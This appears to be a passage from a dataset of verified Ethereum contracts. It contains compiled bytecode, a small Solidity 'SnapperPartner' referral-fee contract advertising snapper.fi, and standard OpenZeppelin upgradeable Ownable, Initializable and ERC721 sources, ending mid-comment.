6e8882890161208f565b9150509295509295909350565b60006020828403121561228d57600080fd5b600061214d8484612079565b6000602082840312156122ab57600080fd5b600061214d8484612084565b6000602082840312156122c957600080fd5b815167ffffffffffffffff8111156122e057600080fd5b61214d848285016120de565b6000602082840312156122fe57600080fd5b600061214d8484612124565b6000806040838503121561231d57600080fd5b60006123298585612124565b925050602061218585828601611eba565b6000806040838503121561234d57600080fd5b60006123598585612124565b92505060206121858582860161206e565b600061237683836123a5565b505060200190565b60006119888383612536565b6000612376838361252d565b61239f8161339c565b82525050565b61239f81613376565b60006123b982613369565b6123c3818561336d565b93506123ce83613357565b8060005b838110156123fc5781516123e6888261236a565b97506123f183613357565b9250506001016123d2565b509495945050505050565b600061241282613369565b61241c818561336d565b93508360208202850161242e85613357565b8060005b85811015612468578484038952815161244b858261237e565b945061245683613357565b60209a909a0199925050600101612432565b5091979650505050505050565b600061248082613369565b61248a818561336d565b93508360208202850161249c85613357565b8060005b8581101561246857848403895281516124b9858261237e565b94506124c483613357565b60209a909a01999250506001016124a0565b60006124e182613369565b6124eb818561336d565b93506124f683613357565b8060005b838110156123fc57815161250e888261238a565b975061251983613357565b9250506001016124fa565b61239f81613381565b61239f816104d9565b600061254182613369565b61254b818561336d565b935061255b8185602086016133d0565b612564816133fc565b9093019392505050565b60008154600181166000811461258b57600181146125b1576125f0565b607f600283041661259c818761336d565b60ff19841681529550506020850192506125f0565b600282046125bf818761336d565b95506125ca8561335d565b60005b828110156125e9578154888201526001909101906020016125cd565b8701945050505b505092915050565b61239f816133a3565b61239f816133ae565b61239f816133b9565b600061262060398361336d565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b600061267f60448361336d565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b60006126eb60458361336d565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612758604c8361336d565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b60006127cc60188361336d565b7773657450656e64696e6741646d696e28616464726573732960401b815260200192915050565b600061280060298361336d565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b600061284b602d8361336d565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b600061289a60598361336d565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b600061291f604a8361336d565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b600061299160288361336d565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b60006129db60118361336d565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612a08604383610a4a565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612a73602783610a4a565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612abc60448361336d565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612b28602f8361336d565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612b7960448361336d565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612be5602c8361336d565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612c33603f8361336d565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612c9260588361336d565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527708185b1c9958591e481858dd1a5d99481c1c9bdc1bdcd85b60421b604082015260600192915050565b6000612d1260368361336d565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b6000612d6a602a8361336d565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b6000612db660158361336d565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b6000612de760368361336d565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b80516060830190612e438482612524565b506020820151612e566020850182612524565b506040820151610ef4604085018261252d565b60006115fc826129fb565b60006115fc82612a66565b602081016115fc82846123a5565b60408101612e9b8285612396565b611988602083018461252d565b60a08101612eb682876123a5565b612ec3602083018661260a565b8181036040830152612ed4816127bf565b90508181036060830152612ee88185612536565b905061131f608083018461252d565b60408101612e9b82856123a5565b60808101612f1382876123a5565b612f20602083018661252d565b612f2d6040830185612524565b61131f606083018461252d565b60a08101612f4882886123a5565b612f55602083018761252d565b8181036040830152612f678186612536565b90508181036060830152612f7b8185612536565b9050612f8a608083018461252d565b9695505050505050565b60a08101612fa282886123a5565b612faf602083018761252d565b8181036040830152612fc1818661256e565b90508181036060830152612f7b818561256e565b60808082528101612fe681876123ae565b90508181036020830152612ffa81866124d6565b9050818103604083015261300e8185612475565b90508181036060830152612f8a8184612407565b602081016115fc828461252d565b602081016115fc82846125f8565b602081016115fc8284612601565b602080825281016119888184612536565b602080825281016115fc81612613565b602080825281016115fc81612672565b602080825281016115fc816126de565b602080825281016115fc8161274b565b602080825281016115fc816127f3565b602080825281016115fc8161283e565b602080825281016115fc8161288d565b602080825281016115fc81612912565b602080825281016115fc81612984565b602080825281016115fc816129ce565b602080825281016115fc81612aaf565b602080825281016115fc81612b1b565b602080825281016115fc81612b6c565b602080825281016115fc81612bd8565b602080825281016115fc81612c26565b602080825281016115fc81612c85565b602080825281016115fc81612d05565b602080825281016115fc81612d5d565b602080825281016115fc81612da9565b602080825281016115fc81612dda565b606081016115fc8284612e32565b61012081016131ba828c61252d565b6131c7602083018b612396565b81810360408301526131d9818a6123ae565b905081810360608301526131ed81896124d6565b905081810360808301526132018188612475565b905081810360a08301526132158187612407565b905061322460c083018661252d565b61323160e083018561252d565b8181036101008301526132448184612536565b9b9a5050505050505050505050565b6101208101613262828c61252d565b61326f602083018b6123a5565b61327c604083018a61252d565b613289606083018961252d565b613296608083018861252d565b6132a360a083018761252d565b6132b060c083018661252d565b6132bd60e0830185612524565b6132cb610100830184612524565b9a9950505050505050505050565b60408101612e9b828561252d565b60405181810167ffffffffffffffff8111828210171561330657600080fd5b604052919050565b600067ffffffffffffffff82111561332557600080fd5b5060209081020190565b600067ffffffffffffffff82111561334657600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006115fc82613390565b151590565b80610a4a81613406565b6001600160a01b031690565b60006115fc825b60006115fc82613376565b60006115fc82613386565b60006115fc826104d9565b82818337506000910152565b60005b838110156133eb5781810151838201526020016133d3565b83811115610ef45750506000910152565b601f01601f191690565b60088110611eb757fe5b61341981613376565b8114611eb757600080fd5b61341981613381565b613419816104d956fea365627a7a72315820bc91a27ea81c48163b161666dc27943ce284cd5ebbe46d1dc407716b6416dfb96c6578706572696d656e74616cf564736f6c63430005100040
[ 5, 11 ]
0xf208ccc90299a7fd5e39f865d75113ab9156f21c
pragma solidity 0.4.23; /* ╭━━━┳━╮╱╭┳━━━┳━━━┳━━━┳━━━┳━━━╮╭━━━┳━━╮ ┃╭━╮┃┃╰╮┃┃╭━╮┃╭━╮┃╭━╮┃╭━━┫╭━╮┃┃╭━━┻┫┣╯ ┃╰━━┫╭╮╰╯┃┃╱┃┃╰━╯┃╰━╯┃╰━━┫╰━╯┃┃╰━━╮┃┃ ╰━━╮┃┃╰╮┃┃╰━╯┃╭━━┫╭━━┫╭━━┫╭╮╭╯┃╭━━╯┃┃ ┃╰━╯┃┃╱┃┃┃╭━╮┃┃╱╱┃┃╱╱┃╰━━┫┃┃╰┳┫┃╱╱╭┫┣╮ ╰━━━┻╯╱╰━┻╯╱╰┻╯╱╱╰╯╱╱╰━━━┻╯╰━┻┻╯╱╱╰━━╯ Snapper.fi | Partner Program Start earn money now: https://snapper.fi/referral.html **/ contract SnapperPartner { mapping(address => bool) public partner; address public owner; uint256 public tax = 1000000000000000000; string public link = 'https://snapper.fi'; string public note = 'none'; address public recoveryOwner; modifier onlyOwner() { assert(msg.sender == owner); _; } function SnapperPartner(address _owner, address _recoveryOwner) public { owner = _owner; recoveryOwner = _recoveryOwner; } function() public payable {} function partnerTax() public view returns(uint256) { return tax; } function becomePartner(address _newPartner) public payable { owner.transfer(tax); partner[_newPartner] = true; } function becomePartner_auto() public payable { owner.transfer(tax); partner[msg.sender] = true; } function addPartner(address _newPartner) public onlyOwner { partner[_newPartner] = true; } function removePartner(address _newPartner) public onlyOwner { partner[_newPartner] = false; } function newOwner(address _newOwner) public onlyOwner { owner = _newOwner; } function updateLink(string _newLink) public onlyOwner { link = _newLink; } function updateNote(string _newNote) public onlyOwner { note = _newNote; } function recoveryOwner(address _newrecoveryOwner) public { require(msg.sender == recoveryOwner); owner = recoveryOwner; recoveryOwner = _newrecoveryOwner; } function newTax(uint256 _newtax) public onlyOwner { tax = _newtax; } function bookmark() public payable { owner.transfer(this.balance); } }
0x6080604052600436106100f05763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c467fa681146100f25780630d219c4c146101275780631c4695f41461012f57806326d111f5146101b9578063389bb729146101ce57806348b98711146101ef5780635ca9169b146102035780636d5ce7f21461025c5780637c2c2f06146102835780638583c7c0146102dc578063859524541461030d578063860909901461032e5780638bf34237146103465780638da5cb5b1461036757806399c8d5561461037c5780639bdc9bbd14610391578063ea3c281a14610399575b005b3480156100fe57600080fd5b50610113600160a060020a03600435166103ba565b604080519115158252519081900360200190f35b6100f06103cf565b34801561013b57600080fd5b5061014461040d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b5061014461049b565b3480156101da57600080fd5b506100f0600160a060020a03600435166104f6565b6100f0600160a060020a036004351661054e565b34801561020f57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100f09436949293602493928401919081908401838280828437509497506105af9650505050505050565b34801561026857600080fd5b506102716105de565b60408051918252519081900360200190f35b34801561028f57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100f09436949293602493928401919081908401838280828437509497506105e59650505050505050565b3480156102e857600080fd5b506102f1610610565b60408051600160a060020a039092168252519081900360200190f35b34801561031957600080fd5b506100f0600160a060020a036004351661061f565b34801561033a57600080fd5b506100f0600435610666565b34801561035257600080fd5b506100f0600160a060020a0360043516610683565b34801561037357600080fd5b506102f16106bf565b34801561038857600080fd5b506102716106ce565b6100f06106d4565b3480156103a557600080fd5b506100f0600160a060020a0360043516610736565b60006020819052908152604090205460ff1681565b600154604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015801561040a573d6000803e3d6000fd5b50565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b505050505081565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b60055433600160a060020a0390811691161461051157600080fd5b6005805460018054600160a060020a0380841673ffffffffffffffffffffffffffffffffffffffff19928316179092559091169216919091179055565b600154600254604051600160a060020a039092169181156108fc0291906000818181858888f1935050505015801561058a573d6000803e3d6000fd5b50600160a060020a03166000908152602081905260409020805460ff19166001179055565b60015433600160a060020a039081169116146105c757fe5b80516105da90600490602084019061076f565b5050565b6002545b90565b60015433600160a060020a039081169116146105fd57fe5b80516105da90600390602084019061076f565b600554600160a060020a031681565b60015433600160a060020a0390811691161461063757fe5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161461067e57fe5b600255565b60015433600160a060020a0390811691161461069b57fe5b600160a060020a03166000908152602081905260409020805460ff19166001179055565b600154600160a060020a031681565b60025481565b600154600254604051600160a060020a039092169181156108fc0291906000818181858888f19350505050158015610710573d6000803e3d6000fd5b50600160a060020a0333166000908152602081905260409020805460ff19166001179055565b60015433600160a060020a0390811691161461074e57fe5b600160a060020a03166000908152602081905260409020805460ff19169055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106107b057805160ff19168380011785556107dd565b828001600101855582156107dd579182015b828111156107dd5782518255916020019190600101906107c2565b506107e99291506107ed565b5090565b6105e291905b808211156107e957600081556001016107f35600a165627a7a723058208091212b0180c315d523fff6f6331e49c48e47461e4c66abbefe9ca2402d3bb80029
[ 11 ]
0xf208E469bDa3A3DEB63f64331d0318a321303Eb4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer 